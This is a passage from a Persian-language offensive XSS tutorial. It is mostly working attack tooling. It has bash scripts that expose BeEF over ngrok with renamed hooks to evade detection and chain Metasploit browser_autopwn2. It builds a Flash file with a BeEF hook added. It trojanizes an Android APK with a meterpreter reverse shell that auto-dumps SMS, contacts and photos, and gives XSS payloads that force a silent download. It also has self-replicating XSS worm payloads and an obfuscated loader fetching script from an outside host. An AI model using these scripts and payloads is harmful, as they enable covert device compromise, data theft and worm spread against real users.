خب، برای اینکه بتوانیم BeEF را به گونه ای تنظیم کنیم که از شبکه خارجی قابل دسترس باشد، از سرور Ngrok و آدرس DNS ای که در اختیار ما قرار میدهد استفاده میکنیم تا عمل Port Forwarding به پورت 3000 لوکال را انجام دهد، برای این کار نیز باید در فایل کانفیگ usr/share/beef-xss/config.yaml/ دو تغییر زیر را ایجاد کنیم:

public: $NGROK_DNS
public_port: "80"

منظور از NGROK_DNS$ آدرس DNS عمومی ای میباشد که Ngrok در اختیار ما قرار داده و ما باید آن را در فایل کانفیگ مشخص کنیم. برای خودکار سازی تغییرات گفته شده و اجرای Metasploit با استفاده از Bash به صورت زیر عمل میکنیم:

service postgresql start;noip2
sleep 10
noip2 -S

read -p "Enter NoIP: " noip

LAN=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1' | grep -v '169.*' | grep -v '10.*')
gnome-terminal --tab -e 'msfconsole -qx "load msgrpc ServerHost='$LAN' Pass=abc123;use auxiliary/server/browser_autopwn2;set LHOST '$noip';set URIPATH /pwn;run -z"'
ngrok update;ngrok http 3000 > /dev/null &

sleep 10
NGROK_DNS=$(FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"https:\/\/([^"]*).*/\1/p') && echo "$FUZ")
rm /usr/share/beef-xss/config.yaml;wget -O /usr/share/beef-xss/config.yaml https://raw.githubusercontent.com/beefproject/beef/master/config.yaml;rm /usr/share/beef-xss/extensions/metasploit/config.yaml;wget -O /usr/share/beef-xss/extensions/metasploit/config.yaml https://raw.githubusercontent.com/beefproject/beef/master/extensions/metasploit/config.yaml

sed -i '59s/.*/ public: "'$NGROK_DNS'" # public hostname\/IP address/' /usr/share/beef-xss/config.yaml
sed -i '60s/.*/ public_port: "80" # public port (experimental)/' /usr/share/beef-xss/config.yaml
sed -i '149s/.*/ enable: true/' /usr/share/beef-xss/config.yaml
sed -i '165s/.*/ enable: true/' /usr/share/beef-xss/config.yaml
sed -i '63s/.*/ hook_file: "\/jQueryCtrl.js"/' /usr/share/beef-xss/config.yaml
sed -i '64s/.*/ hook_session_name: "PHPSESSION"/' /usr/share/beef-xss/config.yaml
sed -i '9s/.*/ enable: true/' /usr/share/beef-xss/extensions/evasion/config.yaml
sed -i '23s/.*/ enable: true/' /usr/share/beef-xss/extensions/metasploit/config.yaml
sed -i '25s/.*/ host: "'$LAN'"/' /usr/share/beef-xss/extensions/metasploit/config.yaml
sed -i '34s/.*/ callback_host: "'$LAN'"/' /usr/share/beef-xss/extensions/metasploit/config.yaml

clear;reset;sleep 5
printf "\n\n"
printf "<script src=\"http://"$NGROK_DNS"/jQueryCtrl.js\" type=\"text/javascript\"></script>"
printf "\n"
printf "<details/open/ontoggle=\"script=document.createElement('script'),script.src='"$NGROK_DNS"/jQueryCtrl.js',document.body.appendChild(script)\">"
printf "\n"
printf "BeEF Panel -> Commands -> Misc -> Create Invisible Iframe -> URL: http://"$noip":8080/pwn -> Execute"
printf "\n\n"
cd /usr/share/beef-xss;./beef -x

خط اول دستور read، آدرس DNS ای که NoIP در اختیار ما قرارا داده را دریافت میکند و در متغیر noip ذخیره میکند. خط دوم برای بدست آوردن آدرس IP لوکال از دستور ifconfig استفاده میکند و با استفاده از دستور grep مقدار عددی آدرس های IP را جدا کرده و آدرس IP هایی که با 169 و 10 شروع میشوند و همچنین آدرس 127.0.0.1 را حذف میکند، در آخر نیز نتیجه را در متغیر LAN$ ذخیره میکند. در خط سوم ماژول Metasploit به نام browser_autopwn2 را با استفاده از Msfconsole اجرا میکنیم و آدرس هاست سرور را برابر متغیر LAN$ ای که پیش تر آن را مقدار دهی کردیم، قرار میدهیم. مقدار URIPATH را هم مسیر pwn/ تنظیم میکنیم. از این مسیر برای دسترسی به exploit های طراحی شده برای مرورگر استفاده میشود.

در خط پنجم سرویس Ngrok را روی پورت 3000 اجرا میکنیم. در خط هفتم درخواستی به آدرس http://127.0.0.1:4040/api/tunnels که پنل Ngrok در آن قرار دارد ارسال میکنیم و با استفاده از دستور sed و Regex تعیین شده مقدار public_url ای که این سرور به ما اختصاص داده را استخراج کرده و در متغیر NGROK_DNS$ ذخیره میکنیم.

برای تغییر کانفیگ BeEF، ابتدا نیاز داریم که به روز ترین فایل هارا داشته باشیم، از این رو فایل های قبلی موجود در سیستم را حذف میکنیم و با استفاده از دستور wget بروز ترین فایل های کانفیگ پروژه beef در github را دانلود و ذخیره میکنیم.

در خط ده و یازده با استفاده از دستور sed خطوطی مورد نظر برای تغییر در فایل را پیدا کرده و مقدار public را برابر متغیر NGROK_DNS$ و مقدار public_port را برابر 80 قرار میدهیم، به این صورت توانستیم BeEF را خارج از شبکه محلی قابل دسترس کنیم.

در خط چهارده و پانزده مقدار hook_file را از hook.js تغییر داده و برابر jQueryCtrl.js قرار میدهیم همچنین مقدار hook_session_name را از BEEFHOOK به PHPSESSION تغییر میدهیم. این کار به این دلیل است که بسیاری از مکانیزم های دفاعی طراحی شده تحت وب به دلیل عمومی بودن ابزار BeEF قادر به شناسایی این ابزار هستند و ممکن است با دیدن نام فایل hook.js یا اسم نشست BEEFHOOK درخواست هارا بلاک کنند، بنابراین ما به تغییر این اسامی میپردازیم. در سه خط آخر نیز برای فعالسازی Metasploit Framework مقدار enable را true کرده و مقادیر host و callback_host را برابر متغیر LAN$ قرار میدهیم.

خب، بعد از اتمام تغییر فایل های کانفیگ، دو نمونه Payload که باید در محل آسیب پذیر به XSS تزریق شوند print میشود. Payload اول تگ script ای میباشد که مقدار src آن برابر آدرس jQueryCtrl.js در سرور Ngrok اختصاص داده شده مهاجم قرار گرفته است. Payload دوم نیز تگ details است که ویژگی ontoggle آن برابر کد JavaScript ای ست. این کد نیز با استفاده از createElement تگ script ای میسازد و مقدار ویژگی src آن را همانند Payload قبل برابر آدرس jQueryCtrl.js در سرور Ngrok اختصاص داده شده مهاجم قرار میگیرد، در آخر با استفاده از appendChild به صفحه اضافه میشود.

برای استفاده از Metasploit و Exploit های آن در BeEF باید صفحه ی http://"$noip":8080/pwn را با استفاده از XSS لود کنیم. نحوه انجام این کار در بخش سوم چاپ میشود. به این صورت که در پنل BeEF قسمت Commands و بخش Misc باید گزینه Create Invisible Iframe را انتخاب کنیم تا iframe نامرئی بسازد. و سپس باید مقدار URL آن را برابر http://"$noip":8080/pwn قرار دهیم و سپس گزینه Execute را انتخاب کنیم.

در پایان کد بالا beef را در دایرکتوری /usr/share/beef-xss اجرا میکند.

استفاده از فایل فرمت swf برای تزریق Hook BeEF

در این روش، با استفاده از فایل فرمت swf که به زبان ActionScript نوشته شده فایل flash سالمی را تحویل میگیریم. فایل swf دیگری میسازیم، کد مخرب خود را که به زبان ActionScript نوشته شده و به BeEF متصل میشود را به آن اضافه میکنیم. در آخر نیز دو فایل ایجاد شده را به هم بایند میکنیم و فایل نهایی بایند شده را به عنوان فایل مخرب در Payload های XSS استفاده میکنیم.

read -p "Enter NoIP: " noip
printf "Link SWF File for Inject Payload: "
read FILE_SWF;
if [ $FILE_SWF != " " ]; then
    service apache2 start
    ngrok update;ngrok http 3000 > /dev/null &
    sleep 10
    NGROK_DNS=$(FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"https:\/\/([^"]*).*/\1/p') && echo "$FUZ")

    url="$FILE_SWF"; echo "${url##*/}" > /tmp/swf_name.txt;chmod +x /tmp/swf_name.txt;sed -i 's#.swf##g' /tmp/swf_name.txt
    FILENAME=$(cat /tmp/swf_name.txt)
    curl "$FILE_SWF" -o /tmp/"$FILENAME".swf
    swfdump --width --height --rate /tmp/"$FILENAME".swf > /tmp/swf_info.txt;chmod +x /tmp/swf_info.txt
    wi=$(grep -i "X" /tmp/swf_info.txt | cut -d'X' -f 2 |cut -d ' ' -f 2);
    hi=$(grep -i "X" /tmp/swf_info.txt | cut -d'Y' -f 2 |cut -d ' ' -f 2);
    ra=$(grep -i "X" /tmp/swf_info.txt | cut -d'r' -f 2 |cut -d ' ' -f 2);
    echo -e 'class Dummy{\nfunction Dummy(){\n}\nstatic function main(mc){\n getURL("javascript:function myFunction(){var x = document.createElement(\"SCRIPT\");x.src=\"http://'$NGROK_DNS'/jQueryCtrl.js\";document.body.appendChild(x);};myFunction();");\n}\n}' > /tmp/beef.as
    mtasc -swf /tmp/"$FILENAME"-as.swf -main -header $wi:$hi:$ra /tmp/beef.as
    swfcombine -o /var/www/html/"$FILENAME"-b.swf -T /tmp/"$FILENAME".swf /tmp/"$FILENAME"-as.swf
    rm /tmp/beef.as /tmp/swf_name.txt /tmp/swf_info.txt /tmp/"$FILENAME"-as.swf /tmp/"$FILENAME".swf
    clear;reset;sleep 5

    printf "\n\n"
    printf "<object type=\"application/x-shockwave-flash\" data=\"http://"$noip"/"$FILENAME"-b.swf\"><param name=\"movie\" value=\"http://"$noip"/"$FILENAME"-b.swf\"/>"
    printf "\n"
    printf "BeEF Panel -> Commands -> Misc -> Create Invisible Iframe -> URL: http://"$noip":8080/pwn -> Execute"
    printf "\n\n"
    cd /usr/share/beef-xss;./beef -x
else
    printf "Faild Input SWF File.";
    reset;break
fi

break

کد بالا ابتدا لینک فایل swf سالم را دریافت میکند و در متغیر FILE_SWF$ ذخیره میکند، سپس سرویس Ngrok را روی پورت 3000 که پورت رزرو شده ابزار BeEF میباشد، start میکنیم. با استفاده از curl به آدرس http://127.0.0.1:4040/api/tunnels که آدرس پنل Ngrok میباشد درخواست زده و با رجکس تایین شده در دستور sed مقدار public_url که DNS اختصاص داده شده عمومی میباشد را استخراج کرده و در متغیر NGROK_DNS$ ذخیره میکنیم. (در قسمت قبل نحوه تنظیم کردن Ngrok و Metasploit Framework برای استفاده ی BeEF به طور کامل تشریح شده است).

در ادامه با استفاده از {/*##url}$ قسمت نام فایل را از لینک دریافت شده استخراج میکند و با استفاده از رجکس s#.swf##g در sed پسوند swf. را نیز از آن حذف میکند و در فایل swf_name.txt ذخیره میکند. در خط بعد درخواست دانلود فایل از لینک دریافت شده با استفاده از curl ارسال میشود و آن فایل با نامی که پیش تر استخراج کردیم در مسیر tmp/ ذخیره میشود. خب برای اینکه بتوانیم فایل مخربی که ساختیم را با فایل سالم بایند کنیم، فایل مخرب باید مشخصاتی شبیه فایل سالم داشته باشد، بنابراین با استفاده از ابزار swfdump مشخصات اندازه طول ، عرض و ریت فریم فایل سالم را بدست آورده و در فایل swf_info.txt ذخیره میکنیم، سپس هر کدام از این اطلاعات را به صورت جدا با استفاده از دستورات grep و cut استخراج کرده و در متغیرهای wi، hi و ra ذخیره میکنیم.

در بخش بعدی همانطور که میبینید کد مخربی با زبان ActionScript طراحی شده که در آن کلاس و تابعی با نام Dummy ساخته میشود، در تابع main آن در تابع getURL که برای لود یک صفحه وب از آن استفاده میشود، مفسر :javascript صدا زده شده است. بعد از آن کد JavaScript ای را میبینید که درون تابعی به نام myFunction با استفاده از createElement تگ script ای ساخته شده و مقدار ویژگی src آن برابر آدرس Ngrok متصل به BeEF قرار گرفته و با استفاده از appendChild این تگ به صفحه اضافه شده و در آخر نیز تابع myFunction فراخوانی شده است. این کد مخرب در فایلی به نام beef.as ذخیره میشود. در مرحله بعد برای کامپایل کردن فایل beef.as و تبدیل آن به فایل swf از دستور mtasc استفاده کرده ایم که فایل swf نهایی طبق مشخصات ذخیره شده در متغیر های wi،hi و ra و با نام FILENAME"-as.swf$" ایجاد میشود. خب، برای بایند کردن یا بهم پیوستن فایل سالم با فایل مخربی که پیش تر ساختیم از دستور swfcombine استفاده میکنیم و فایل نهایی را با نام FILENAME"-b.swf$" در مسیر /var/www/html/ در سرور مهاجم ذخیره میکنیم.

در آخر نیز همانند قبل Payload ای که باید در محل آسیب پذیر تزریق شوند print میشود. در این Payload برای لود فایل swf از تگ object استفاده شده که مقدار ویژگی type آن application/x-shockwave-flash قرار گرفته و مقدار ویژگی data برابر آدرس فایل نهایی بایند شده swf موجود در سرور مهاجم میباشد. مقدار ویژگی value تگ param نیز برابر همان آدرس میباشد. برای استفاده از Metasploit و Exploit های آن در BeEF که در بخش قبل نحوه تنظیم کردن آن گفته شد، باید صفحه ی http://"$noip":8080/pwn را با استفاده از XSS لود کنیم. نحوه انجام این کار در بخش دوم چاپ میشود. به این صورت که در پنل BeEF قسمت Commands و بخش Misc باید گزینه Create Invisible Iframe را انتخاب کنیم تا iframe نامرئی بسازد. و سپس باید مقدار URL آن را برابر http://"$noip":8080/pwn قرار دهیم و سپس گزینه Execute را انتخاب کنیم.

در پایان این کد ابزار beef رادر دایرکتوری /usr/share/beef-xss اجرا میکنیم.

دانلود برنامه Android بدافزار (APK)

در این تکنیک نیز فایل APK سالمی دریافت میکنیم و با استفاده از Msfvenom در Metasploit Framework آن را آلوده میکنیم. هدف این تکنیک این است که قربانی بدون خواست خودش بدافزار موجود در سرور مهاجم را دانلود کند. در آخر نیز Listener ای ایجاد میکنیم تا دسترسی ایجاد شده از موبایل قربانی را تحت کنترل داشته باشیم.

read -p "Enter NoIP: " noip
LAN=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1' | grep -v '169.*' | grep -v '10.*')
printf "[?] Dir APK File for Bind Payload: "
read FILE_APK;
if [ $FILE_APK != " " ]; then
    service apache2 start
    ngrok update;ngrok http 80 > /dev/null &
    sleep 10
    NGROK_DNS_APK=$(FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"https:\/\/([^"]*).*/\1/p') && echo "$FUZ")
    echo "$FILE_APK" > /tmp/apk_name.txt;chmod +x /tmp/apk_name.txt;sed -i 's#.apk##g' /tmp/apk_name.txt;sed -e 's/ /_/g' /tmp/apk_name.txt
    
    FILENAME=$(cat /tmp/apk_name.txt)
    echo """sysinfo
check_root
getwd
route
geolocate
screenshot
dump_calllog
dump_sms
dump_contacts
webcam_snap
cd ../../../../../
cd /sdcard/DCIM/Camera
download -r *""" > /tmp/dump_and.rc
    msfvenom -x "$FILE_APK" --platform android -a dalvik -p android/meterpreter/reverse_https LHOST="$noip" LPORT=4443 -o /var/www/html/"$FILENAME"-b.apk
    rm /tmp/apk_name.txt

    clear;reset;sleep 5
    printf "\n\n"
    printf "<iframe id=\"frame\" src=\"http://"$NGROK_DNS_APK"/"$FILENAME"-b.apk\" application=\"yes\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>"
    printf "\n"
    printf "<details/open/ontoggle=\"script=document.createElement('frame'),script.src='"$NGROK_DNS_APK"/"$FILENAME"-b.apk',document.body.appendChild(script)\">"
    printf "\n"
    printf "<details/open/ontoggle=\"mylink=document.createElement('a'),mylink.href='"$NGROK_DNS_APK"/"$FILENAME"-b.apk',mylink.setAttribute('download',true),mylink.style.display ='none',document.body.appendChild(mylink),mylink.click()\">"
    printf "\n\n"
    msfconsole -qx "use multi/handler;set PAYLOAD android/meterpreter/reverse_https;set LHOST "$noip";set LPORT 4443;set ReverseListenerBindAddress "$LAN";set AutoRunScript /tmp/dump_and.rc;exploit -j"
    rm /tmp/autoand.rc
else
    printf "[X] Dir Input APK File.";
    reset;break
fi
break

در کد بالا پس از دریافت آدرس NoIP سیستم مهاجم، برای بدست آوردن آدرس IP لوکال از دستور ifconfig استفاده میکند و با استفاده از دستور grep مقدار عددی آدرس های IP را جدا کرده و آدرس IP هایی که با 169 و 10 شروع میشوند و همچنین آدرس 127.0.0.1 را حذف میکند، در آخر نیز نتیجه را در متغیر LAN$ ذخیره میکند. سپس مسیر و دایرکتوری فایل apk سالم دریافت میشود و در متغیر FILE_APK$ ذخیره میشود، بعد از آن سرویس Ngrok را روی پورت 80، start میکنیم. با استفاده از curl به آدرس http://127.0.0.1:4040/api/tunnels که آدرس پنل Ngrok میباشد درخواست زده و با رجکس تایین شده در دستور sed مقدار public_url که DNS اختصاص داده شده عمومی میباشد را استخراج کرده و در متغیر NGROK_DNS_APK$ ذخیره میکنیم. با استفاده از دستور sed اسم برنامه Android ای را از مسیر داده شده در متغیر FILE_APK$ استخراج کرده و فاصله های خالی موجود در آن را در صورت وجود حذف میکنیم و نتیجه نهایی را در فایل apk_name.txt و در متغیر FILENAME$ ذخیره میکنیم. در ادامه کد، لیستی از دستورات Metasploit Framework برای اجرا روی موبایل قربانی را در فایل dump_and.rc ذخیره میکنیم، برای مثال دستور screenshot از صفحه موبایل عکسی تهیه میکند یا دستور dump_sms تمام مخاطبین موجود در موبایل قربانی را میگیرد.

خب، برای ایجاد فایل Android ای مخرب از فایل سالم از Msfvenom و Payload های آن استفاده میکنیم. همانطور که در دستور میبینید مقدار سوییچ platform-- را Android و سوییچ a- که بیانگر معماری مورد استفاده میباشد را برابر dalvik قرار دادیم. (این معماری یک ماشین مجازی برای اجرای برنامه Android ای میباشد). با استفاده از سوییج p- از Payload های موجود برای ایجاد یک اتصال reverse_https بین مهاجم و قربانی استفاده کردیم. مقدار LHOST نیز برابر آدرس سرور مهاجم و LPORT را 4443 میباشد. در آخر نیز فایل نهایی بایند شده Apk را با نام FILENAME"-b.apk$" در مسیر /var/www/html/ سرور مهاجم ذخیره میشود.

در ادامه نیز سه نمونه Payload که باید در محل آسیب پذیر به XSS تزریق شوند print میشود. Payload اول تگ iframe ای میباشد که مقدار ویژگی src آن برابر آدرس فایل بایند شده Apk در سرور Ngrok اختصاص داده شده مهاجم میباشد. Payload دوم نیز تگ details است که ویژگی ontoggle آن برابر کد JavaScript ای ست. این کد نیز با استفاده از createElement تگ script ای میسازد و مقدار ویژگی src آن را همانند Payload قبل برابر آدرس فایل بایند شده Apk در سرور Ngrok اختصاص داده شده قرار میگیرد، در آخر با استفاده از appendChild این تگ به صفحه اضافه میشود. در Payload سوم همانند Payload قبل در ویژگی ontoggle کد JavaScript ای قرار گرفته، این کد ابتدا با استفاده از createElement تگ a میسازد و ویژگی href آن را آدرس فایل بایند شده Apk در سرور Ngrok اختصاص داده شده مهاجم قرار میدهد. با استفاده از setAttribute قابلیت دانلود از آدرس مشخص شده در href فعال شده و از طریق کد ;"mylink.style.display = "none قابلیت نمایش لینک ساخته شده غیرفعال شده است. در نهایت این تگ با استفاده از appendChild به صفحه اضافه میشود و از طریق تابع ()click به طور خودکار کلیک میشود. این یعنی به محض ورود قربانی به صفحه آسیب پذیر بدون اینکه قربانی کاری انجام دهد اپلیکیشن را دانلود میکند.

در بخش آخر کد، Handler یا Listener ای با استفاده از Msfconsole برای ایجاد دسترسی از موبایل قربانی تنظیم میکنیم و مقدار LHOST آن را برابر آدرس سرور NoIP مهاجم و LPORT را 4443 قرار میدهیم. سپس با تنظیم مقدار LAN$ در ماژول ReverseListenerBindAddress مشخص میکنیم که روی جه آدرس IP محلی از سیستم خودمان به صورت Reverse عمل Listening را انجام دهیم.با استفاده از AutoRunScript نیز دستورات موجود در فایل dump_and.rc که پیش تر ساختیم، بعد از ایجاد دسترسی به طور خودکار اجرا میکنیم.

کِرم XSS یا XSS Worm

مفهوم XSS Worm یا کرم XSS به روشی از طراحی Payload در آسیب پذیری XSS گفته میشود که در آن Payload های طراحی شده قابلیت خود تکثیری و تکرار بی نهایت دارند. در این روش کد های مخرب امکان گسترش این آسیب پذیری را از کاربری به کاربر دیگر افزایش میدهند تا جایی که تمام برنامه ی تحت وب آلوده شود. به نمونه کد مخرب زیر توجه کنید:

<a href target=_blank>click</a>

کد بالا لینکی ست که در صورت کلیک قربانی روی آن، دوباره همان صفحه آسیب پذیر حاوی کد مخرب را در تب جدیدی از مرورگر باز میکند، در نتیجه این کد برای تکرار دوباره و تکثیر تنها به خودش احتیاج دارد.

کد PHP زیر نیز نمونه دیگری از صفحه آسیب پذیر در قسمت نظرات میباشد:

<!doctype html>
<html lang="en">
<head><title>Comments</title></head>
<body>
<?php
$nameErr = "";
$name = $comment = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (empty($_POST["name"])) {
        $nameErr = "Name is required";
    } else {
        $name = $_POST["name"];
    }
    if (empty($_POST["comment"])) {
        $comment = "";
    } else {
        $comment = $_POST["comment"];
    }
}
?>
<p><span class="error">* required field</span></p>

<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>">
    Name: <input type="text" name="name" value="<?php echo $name;?>">
    <span class="error">* <?php echo $nameErr;?></span>
    <br><br>
    Comment: <textarea name="comment" rows="5" cols="40"><?php echo $comment;?></textarea>
    <br><br>
    <input type="submit" name="submit" value="Submit"> 
</form>
<?php
echo "<h2>Your Input:</h2>";
echo $name;
echo "<br>";
echo $comment;
echo "<br>";
?>

</body>
</html>

در این کد فرم کامنت HTML ای که متد آن POST است مشاهده میکنید. در قسمت PHP با استفاده از سوپر گلوبال POST_$ مقادیر ورودی کاربر با نام های name و comment دریافت میشوند و بدون هیچ امن سازی ای در متغیر های name$ و comment$ ذخیره میشوند. در آخر نیز مقادیر این متغیر ها بدون اینکه روی آن ها Encoding ای به قصد امن سازی صورت بگیرد، در صفحه echo میشوند. در نتیجه فرم بالا آسیب پذیر است.

خب حالا به Payload طراحی شده زیر به روش XSS Worm توجه کنید:

<form method=post onclick=elements[0].value=outerHTML;submit()>
<input type=hidden name=comment>click me!</form>

کد مخرب تزریق شده یک فرم است که امکان ارسال ورودی ها را با متد POST فراهم میکند. وقتی روی این فرم کلیک کنیم با فراخوانی رویداد onclick، مقدار اولین عنصر فرم یعنی تگ input برابر ویژگی outerHTML از فرم قرار میگیرد . (همانطور که میدانید ویژگی outerHTML حاوی محتوای عنصر انتخاب شده (در اینجا تگ form) به همراه خود تگ میباشد). سپس با فراخوانی تابع submit فرم ارسال میشود.برای اینکه کد مخرب طراحی شده به کنش کمتر قربانی نیاز داشته باشد میتوان از رویداد (Event Handler) های دیگری که احتمال خودکار انجام شدن حمله را افزایش میدهند استفاده کرد مانند رویداد onmouseover .

به دیگر Payload زیر توجه کنید:

<iframe style=display:none name=x></iframe>
<form method=post action="//example.com/comments.php" onclick="elements[0].value='<a/href='%2Bdocument.URL%2B'>link</a>';submit()" target=x>
    <input type=hidden name=comment>click me!</form>

برخلاف مثال قبلی برای اینکه Payload بتواند خودش را دوباره تولید کند از تگ a که مقدار href آن برابر ویژگی URL از document میباشد، استفاده شده است. (با استفاده از 2B% یعنی علامت + ، ویژگی document.URL را به کد اضافه کرده ایم). در خط اول نیز از تگ iframe اما به صورت نامرئی استفاده کردیم تا حمله طبیعی تر جلوه داده شود زیرا این تگ بدون برگشت به صفحه ارسال نظرات، این صفحه را نمایش میدهد. در خط آخر نیز با استفاده از ویژگی target در تگ form به تگ iframe نامرئی با نام x اشاره کرده ایم.

در ادامه به بررسی مثالی واقعی از کاربرد این نوع Payload ریزی و استفاده آن در تارگت های باگ بانتی میپردازیم. این گزارش توسط محقق NICOLAS HEINIGER نوشته شده است. در این گزارش وبسایت آسیب پذیر https://webmail.bluewin.ch میباشد، هدف این است که از XSS کشف شده به گونه ای استفاده کنیم که بتواند با استفاده از ایمیل انتقال پیدا کند و تبدیل به کرم (Worm) شود یعنی خودش را تکثیر کند و در Mailbox تعداد زیادی کاربر پخش شود. این امکان وجود داشت زیرا زمانی که دریافت کننده ایمیل بخواهد به آن پاسخ دهد یا آن را انتقال دهد XSS فعال میشود. برای اینکه این پیاده سازی این سناریو به کمترین تعامل از کاربر نیاز داشته باشد به XSS دیگری نیاز بود. این آسیب پذیری در قسمت Attachment (پیوست) ایمیل وجود داشت زیرا در آنجا در قسمت اسم فایل پیوست شده اگر از کارکتر های خاص مانند <> استفاده میکردیم، به درستی Escape نمیشدند. این آسیب پذیری زمانی خواندن ایمیل اتفاق میوفتاد. به نمونه درخواست زیر هنگام خواندن پیام توجه کنید:

POST /cp/applink/mail/ReadMessage HTTP/1.1
Host: rich-v01.bluewin.ch
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://rich-v01.bluewin.ch/cp/ps/main/richui/main_swisscom
X-CP-Application: RichUI 3.3.5.3.4
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 143 Cookie: [CUT BY COMPASS]
Connection: close

folderPath=Drafts&accountName=rireoubli%40bluewin.ch&detailLevel=hba&attachmentLevel=apt&drf=json&messageId=8&u=1480032388&d=bluewin.ch&t=82d87

پاسخ درخواست زیر به صورت زیر است :

[CUT BY COMPASS]
"attachments": [
{
[CUT BY COMPASS]
"attributes":[
    { "size": "24820" }, 
    { "fileName": "grumpycat<img src=x onerror=alert(1)>.jpg" }, 
    { "downloadUrl": "/applink/mail/Downloader?dhid=attachmentDownloader&messageId=8&accountName=rireoubli%40bluewin.ch&folderPath=Drafts&contentDisposition=attachment&attachmentIndex=0&contentSeed=d1281&pct=22d51" }, 
    { "contentType": "IMAGE/JPEG; name=\"grumpycat<img src=x onerror=alert(1)>.jpg\"" }, 
    { "mimeType": "IMAGE/JPEG" }
]
}
[CUT BY COMPASS]

همانطور که در پاسخ مشاهده میکنید کارکتر های < و > ، Escape نشده اند ولی Double Qoutation ها Escape شده اند. قسمت اسم فایل بدون اینکه امن سازی دیگری روی آن اتفاق بیوفتد در DOM صفحه نمایش داده میشود و همین باعث میشود تا XSS رخ بدهد. برای طراحی Payload مناسب در این مورد باید به نکات زیر توجه داشته باشیم:1. محدودیت کارکتری وجود دارد و تنها میتوان 37 کارکتر وارد کرد.2. استفاده از تگ <script> و Double Qoutation مجاز نیست.3. مکانیزم امنیتی CSP وجود ندارد.4. از کتابخانه JQuery نیز استفاده نشده اما از Framework قدیمی ExtJs استفاده شده است.5. امکان استفاده از چندین Payload مختلف وجود دارد، این Payload ها از هم با استفاده از تگ های HTML جدا میشوند.درنهایت کد مخرب طراحی شده به صورت زیر میباشد:

<svg onload=p='cz1kb2N1bWVudC5jcmV'>
<svg onload=p+='hdGVFbGVtZW50KCdzY3'>
<svg onload=p+='JpcHQnKTtzLmFzeW5jP'>
<svg onload=p+='XRydWU7cy5zcmM9Jy8v'>
<svg onload=p+='cGhvdG9jaHJvbWUuY2g'>
<svg onload=p+='vYS5qcyc7dG9wLmRvY3'>
<svg onload=p+='VtZW50LmdldEVsZW1lb'>
<svg onload=p+='nRzQnlUYWdOYW1lKCdo'>
<svg onload=p+='ZWFkJylbMF0uYXBwZW5'>
<svg onload=p+='kQ2hpbGQocyk7'>
<svg onload=eval(atob(p))>

در کد بالا از تگ svg و رویداد onload آن برای اجرای JavaScript استفاده شده و Payload نهایی به صورت Base64 شده و تیکه تیکه درون متغیر p ذخیره میشود. دلیل استفاده از Base64 Encoding این است که بتوان از تگ script در Payload استفاده کرد. در آخر توسط تابع atob رشته Base64 شده، Decode میشود و با استفاده از تابع eval اجرا میشود. Decode شده Payload بالا به صورت زیر میباشد:

s=document.createElement('script');s.async=true;s.src='//photochrome.ch/a.js';top.document.getElementsByTagName('head')[0].appendChild(s);

این کد، با استفاده از createElement تگ script ای میسازد و مقدار ویژگی src آن را آدرس فایل a.js در سرور مهاجم قرار میدهد. در این فایل Payload های JavaScript طراحی شده به روش XSS Worm قرار دارد که پس از انجام مراحلی کد مخربی که در بالا دیدید را از سمت قربانی به چندین کاربر دیگر ایمیل میکند در نتیجه به این صورت کد مخرب طراحی شده تکثیر میشود . در آخر با استفاده از appendChild تگ script ساخته شده را به قسمت head صفحه اضافه میکند. حالا باید هنگام ارسال ایمیل، کد مخرب را به صورت تکه تکه و به عنوان اسم فایل ها در قسمت Attachment قرار دهیم.

کد مخرب تزریق شده در قسمت Attachment ارسال ایمیل
کد مخرب تزریق شده در قسمت Attachment ارسال ایمیل
این کد به صورت تکه تکه و مبهم سازی شده به عنوان نام فایل در قسمت Attachment تزریق داده شده است

کد مخرب هنگام باز شدن ایمیل و خوانده شدن آن توسط قربانی مراحل زیر را طی میکند:1. پنجره اول با عنوان “!Here we go” باز میشود.2. پنجره دوم از قربانی تشکر میکند و مطمعن میشود که او میخواهد کد JavaScript را در نشست کاربری خود اجرا کند.3. اگر قربانی گزینه OK را انتخاب کند، پنجره سوم باز میشود و از قربانی میپرسد که آیا موافق است هنگام اجرای کد مخرب ارز های رمزنگاری شده ماین کند یا خیر.4. اگر قربانی گزینه OK را انتخاب کرد صفحه ماین کردن بیت کوین را باز میکند.5. در صفحه بعد لیستی از مخاطبین قربانی را نمایش میدهد و تعداد مخاطبینی که ایمیل آنها با [email protected] خاتمه پیدا کرده را میشمارد و از قربانی میپرسد که میخواهد ایمیل حاوی کد مخرب را به کدام یک از آنها ارسال کند.6. سپس مطمعن میشود که آیا واقعا میخواهد کد مخرب را به ایمیل انتخاب شده بفرستد یا خیر.7. اگر ارسال ایمیل موفقیت آمیز بود آن را در پنجره ای به قربانی نمایش میدهد.

تمام مراحل بالا برای اجرای موفقیت آمیز کد مخرب به تعامل قربانی نیاز دارند. اما میتوان بدون اجازه قربانی نیز این کار را انجام داد تا XSS Worm ساخته شده به صورت خودکار تکثیر پیدا کند.

آسیب پذیری XSS بدون JavaScript دلخواه

